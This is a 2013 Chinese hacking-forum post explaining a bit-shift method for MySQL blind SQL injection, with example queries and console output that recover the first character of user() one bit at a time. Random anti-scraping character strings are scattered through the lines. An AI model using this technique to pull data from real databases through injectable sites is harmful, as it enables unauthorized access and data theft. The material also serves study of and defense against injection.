找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
1 T: @4 p) f) ^- c9 J9 U( [( y) D" s4 `5 d" ~+ P: |( q
' q+ X- a" G% d# h0 Q0 Z
" r" M9 ?7 |; @: k) g. Q6 T
下面将以查询mysql数据库当中user()的第一位为例:/ p) c+ q6 S9 L( K6 L: ]

/ U( }* f; F- |+ W, n) }, c3 O5 x ! A5 E) \- G6 t& R- h% ]

/ N* H* M, o8 D8 u; E  g) R6 u3 j2 mps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
: {( g! q* T4 [( I! t" P$ L0 g  v) t- @) N6 l3 w
! t$ f3 ~' I; s" j% ]3 x1 B" C" K7 `
: B" H5 x3 Z" V2 X9 A7 n/ @
首先执行如下sql语句:  O, h2 r/ ^7 Y7 J" |) Y" A
. X, v. ?) N6 f% D  ~/ Y$ h" }( }; k
, y- V% J7 z7 D: U# P
; E9 z' B0 D1 E+ [6 E9 b6 n4 v
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;! j/ I) v' N" c% x5 n, g* U- G* q
8 H* p+ {  \7 L% X( ~; g# J  H& C1 t

, v6 k, d) v2 D4 c
% Q5 F" @: l0 g我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! s6 H, J! M  ^" u& K
: M+ U- [2 M6 h0 `! g4 V) T + t! U' {4 `+ O' M' p

' q( o7 d1 K5 k* N. n* n0 v第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 i/ s+ t9 S5 N- P
5 N) _2 t7 N% a 6 v6 }, K3 K3 J, o6 Q
; J! A, `5 V$ w5 Z- s9 R, f( z
如果运算结果为1,说明第一位为0,不为1! X1 Q# |/ d) j2 R- j) p

* B* Y  u# h; y3 H+ O : ^; ?; F; Q) \# X8 b! Y3 T

5 a/ B+ s; }3 B( ~4 G; f+————————————–+9 v' R. C7 O; |& L* j
. Y( d; u. ^$ m  O2 H$ a& Z% X( S$ [2 f
| (ascii((substr(user(),1,1))) >> 7)=0 |
) a, ^7 o/ L6 K- V$ ]# t1 T6 ~/ v4 \( z7 S4 q
+————————————–+
( L3 o) r7 |. N
* P$ m* z: L" w) s, I* W: F) H  F| 1 |# T, H, D, G. ]! p* M3 C7 n

: p+ v' w/ r4 z/ Z8 K- ~6 X+————————————–+
3 x. I* V: @  N/ b( V" V' @$ n* n5 c% f' q% t9 D0 Y- j( N/ O
1 row in set (0.00 sec)
4 e- r2 L3 Q; i* r8 o' c6 T. w1 l5 {- {
这样我们就确定这个8bit的ascii的第一位为0
6 i, _4 M9 R5 C7 d8 C
5 Z# H4 w9 I: }- H0 D% @ 1 ^2 M9 H5 o: S  M

% T7 I# y" h0 F) W$ D  h& @第二次我们来做6次右偏移来确定前两位# c; V) Y" h$ U. g- A" |

1 |! L* a5 z0 ~; `1 v0 B! n3 p% H
+ |0 t  X. O/ C9 @4 `8 z0 t( D% ^
前两位可能是01或00,即依然可以与0做比较,
4 h$ M) ?- {" W' F1 P$ o: e7 q! F, B; W/ ]) `: Y8 y( Y) U
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;  _6 b; P& e( Z1 g8 t4 P! G9 z- R
2 i, m: G  H1 H- N1 ]3 z" ~6 l, A6 t' l+ ?
+————————————–+
# c) T4 o! L. Y9 a: R
; o) j9 D  V: t+ Q0 y; L+ m6 || (ascii((substr(user(),1,1))) >> 6)=0 |
* W, d/ I3 I% ?. B1 Q) Y) M! a. ^0 d. x2 @" l8 K
+————————————–+
! v4 d( L8 j3 d8 `* P1 L5 d9 t. n) m# P
| 0 |9 a  f% E% e/ s- O
, P& \% l4 ~; @1 R7 F2 m
+————————————–+
! ?( ~' ~0 {/ }3 F- E2 b% G5 ^7 c  X/ f$ j+ Q& ~( j
1 row in set (0.00 sec)
" M# ~" u2 k* k9 S2 V, o" |7 ~: ]& u3 y

4 C: R2 {* J# O/ ]9 v  y
. `/ B# Y' l  P4 v! m结果为0,即第二位为1# r4 A4 H5 S6 |

* Z) t0 v2 x" G0 u1 v. o( d
/ R2 E" d+ I/ O1 _. T" Y5 B
/ k4 S- D+ Y& t" ^开始猜测前三位为010或011& n  s  b. ?* ~4 w0 }
0 _2 b( S" z! P; p4 r4 c
7 t" Q- s" p8 r/ l6 [7 x% Q4 I
5 K' g. _. y/ Y* r2 ^' R: x
让我们看看010和011的ascii码是多少' Q, C5 j3 z6 E/ e" E  F0 k* L

( i3 A/ W# x/ N7 p6 H. T
! k$ R9 J: G( b* F8 d- s9 \3 \$ o3 K' H" d  d
分别查询select b’011′ select b’010′: S: n& j+ \" D

) d, a+ E( N7 E! P6 n* z 8 g0 u, S  a" n
& F2 H* @: N8 ^& u) Q1 \1 @
获得结果 010 = 2 011 = 3
5 M9 o! l7 c0 k- V. K9 e" ~( ^9 A7 a- K
6 o1 ?9 T/ _) v7 F( h" q( g" B8 l

4 C& n1 q0 H8 A执行如下sql:
3 S. b: z  _' [' E: M
# J+ C' o* P* l9 m4 Z2 J4 \4 O ( Z$ U5 Z1 k) A: t

+ j( }5 M4 }& E/ {/ R3 Lmysql> select (ascii((substr(user(),1,1))) >> 5)=2;' P, D5 I% Z6 f  C/ \1 A' [

" U. X* R% c  }/ _% p7 r+————————————–+
1 A; r  v" `% i0 U# m% x! K
1 z6 {  w2 V$ a) c| (ascii((substr(user(),1,1))) >> 5)=2 |2 H. g$ G' B; Y# H: s4 F1 {

% e( x2 a4 o5 @3 L- I1 p% t- S: G+————————————–++ g, K# y1 j5 H  ]0 k1 I
+ P) b& ^) v+ _8 T. p
| 0 |$ A5 x$ `- l3 F: [" m
' R9 s- S! r1 }& @/ D  w
+————————————–+/ s( N! L  p# q9 k) M0 o
6 H- X" U% |+ q, s. }" W
即前三位不为010,而是011% @* ]/ K- a4 e8 j

( z( K" c+ r: N1 s- j) b 4 k% d% C# N5 z2 W% u
$ o. o3 W4 \4 F3 i7 L! q1 b3 X
直到获得最后一位. l+ \, Y6 X: R3 t1 z4 o4 a

- `; {' h( s1 l) ]! |8 ` : L, f9 c# d' W7 ?+ a
% z  {$ Z' s! W8 X
最终结果为:011100108 l  I; E8 J  N. L4 A+ l+ K
$ D/ j: \+ X, e' {8 ~4 w& c
) ^. h+ }( P6 ~0 B

7 g0 J+ h2 \8 U" p转换一下:
2 |2 u" S4 H3 H9 Z5 \! X! V
7 C# _2 F8 J/ U. \. y. y9 ]" m ) N8 @' n# ~9 w( ^& s) ?; A8 d
& }6 K* _3 p! c
select b’01110010′
5 G4 I9 @: t- Y! I
/ A- l. X# r2 S0 [& M/ E& L . Z$ W* r: h- D9 E) q2 a

) n7 p& Z7 d( }+ R3 k' x查询结果6 g' }( q( M" Y. Q, W" G2 J5 d

5 H* O; H& t/ S' G& [# g8 D0 R 7 W0 Y3 o* E9 e5 B. I2 r1 h+ T3 J
8 q) I/ B, c9 n9 C- X* K
+————-+
- K, d5 j$ }9 k$ D
" Y- U) Z. B- C1 R5 a% V| b’01110010′ |
0 G; D; Q& V5 l3 q  \+ k+ @/ D% n# c
+————-+
" e+ V' p; l) ^; Z6 ~9 i! y( X+ ?$ |8 O
| r |
3 b  T- ^1 r3 W0 J% r( l" s/ i
- o- L. b  Z" h; Y3 `; ]. v+————-+( ?0 d, {+ X( m" L4 U4 O( {, M, J

7 b5 n3 P) t3 ^7 T, Z1 row in set (0.00 sec)
6 ?9 E& Y9 v# A* l# N! m" r1 O2 D  _4 x% R
5 d* t; Q# I2 z/ U

7 L4 c7 ?$ R, j  ~7 m这样我们就获得了user()的第一位.其它位依此类推
: f" X& a- s1 ^  b! z" w( M: H/ X4 G% q" d) V: d; G8 t; v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表